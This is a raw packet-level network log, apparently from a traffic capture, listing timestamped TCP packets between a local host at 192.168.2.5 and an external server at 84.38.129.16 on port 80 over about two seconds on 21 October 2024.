Oct 21, 2024 11:30:30.898490906 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.898497105 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.898504972 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.898507118 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.898552895 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.901562929 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.901582003 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.901596069 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.901628971 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.901633024 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.901649952 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.901670933 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.901717901 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:30.946532965 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.946554899 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:30.946624041 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.013015032 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.013032913 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.013050079 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.013098955 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.013144016 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.013989925 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.015341043 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.015377045 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.015427113 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.015439034 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.015460014 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.015470982 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.015481949 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.015516043 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.018709898 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.018726110 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.018783092 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.018824100 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.018837929 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.018851042 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.018904924 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.018904924 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.019057989 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.019072056 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.019128084 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.019646883 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.019707918 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.104988098 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.105055094 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.105165958 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.105227947 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.281023026 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281050920 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281061888 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281075001 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281088114 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281222105 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.281339884 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281357050 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281368017 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281378031 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281393051 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281445980 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.281502962 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.281956911 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.281994104 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.282005072 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.282040119 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.282047033 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.282052040 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.282140017 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.282900095 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.282919884 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.282932997 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.282943010 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.282953978 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.283042908 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.283042908 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.283776999 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.283809900 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.283827066 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.283838987 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.283849001 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.283868074 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.283942938 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.284588099 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.284672976 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.366020918 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.366043091 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.366058111 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.366210938 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.369720936 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.369816065 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.369905949 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.370038986 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.371113062 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.371189117 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.371196032 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.371273994 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.371279955 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.371293068 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.371304989 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.371330023 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.371392965 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.372620106 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.372633934 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.372648001 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.372704983 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.398422003 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.398447037 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.398617983 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.483263016 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.483283043 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.483294964 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.483400106 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.486753941 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.486766100 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.486777067 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.486892939 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.488121033 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.488219976 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.488265991 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.488286972 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.488300085 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.488389015 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.488399982 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.488426924 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.488488913 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.489705086 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.489726067 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.489736080 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.489809036 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.515146017 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.515199900 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.515281916 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.515388966 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.600444078 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.600461960 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.600476027 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.600544930 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.600544930 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.603929043 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.603955984 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.604044914 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.604052067 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.604057074 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.604068995 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.604115009 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.604115009 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.605566978 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.605578899 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.605628014 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.605638981 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.605650902 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.605668068 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.605793953 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.607235909 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.607266903 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.607279062 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.607353926 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.607487917 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.632385969 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.632416964 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.632759094 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.717484951 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.717607021 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.717612028 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.717621088 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.717715979 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.721049070 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.721081972 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.721091032 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.721110106 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.721123934 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.721173048 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.721261978 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.722539902 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.722567081 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.722657919 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.722716093 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.722726107 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.722737074 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.722821951 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.724328041 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.724359989 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.724431992 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.724437952 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.724499941 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.724525928 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.724589109 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.749322891 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.749356031 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.749516964 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.749520063 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.749520063 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.749526978 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.749650002 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.834748030 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.834767103 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.834779978 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.834791899 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.834875107 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.834922075 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.838146925 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.838156939 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.838238001 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.838562012 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.838577986 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.838589907 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.838624001 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.838655949 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.839489937 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.839544058 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.839620113 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.839620113 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.839720011 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.839747906 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.839795113 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.839960098 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.839968920 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.840125084 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.841223955 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.841233969 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.841392040 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.866530895 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.866548061 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.866559982 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.866571903 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.866616011 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.866626978 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.866730928 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.866837025 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.952451944 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.952471018 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.952619076 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.956170082 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.956202984 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.956222057 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.956234932 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.956245899 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.956275940 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.956342936 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.956609964 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.956619978 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.956729889 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.957317114 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.957330942 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.957341909 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.957425117 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.958369970 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.958384037 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.958492994 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.983257055 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.983273029 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.983403921 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.983582973 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.983638048 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.983649015 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:31.983669043 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:31.983779907 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.069740057 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.069756985 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.069958925 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.073151112 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.073224068 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.073239088 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.073260069 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.073270082 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.073271036 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.073281050 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.073353052 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.073621035 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.073631048 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.073744059 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.074281931 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.074294090 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.074305058 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.074373960 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.075620890 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.075640917 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.075751066 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.100337982 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.100533962 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.100661993 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.100856066 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.100866079 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.100877047 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.100888014 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.100898027 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.100980997 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.186361074 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.186397076 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.186489105 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.190134048 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.190156937 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.190341949 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.190352917 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.190365076 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.190376043 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.190407038 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.190440893 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.191283941 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.191293955 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.191365004 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.191379070 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.191443920 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.191453934 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.191461086 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.191472054 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.191515923 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.191515923 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.217431068 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.217570066 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.217577934 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.217591047 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.217650890 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.217650890 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.218166113 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.218178988 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.218192101 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.218203068 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.218280077 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.218280077 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.307374954 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.307487965 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.307641029 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.307652950 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.307662964 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.307673931 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.307686090 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.307712078 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.307749033 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.308557034 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.308598042 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.308608055 CEST	80	49975	84.38.129.16	192.168.2.5
Oct 21, 2024 11:30:32.308675051 CEST	49975	80	192.168.2.5	84.38.129.16
Oct 21, 2024 11:30:32.308675051 CEST	49975	80	192.168.2.5	84.38.129.16
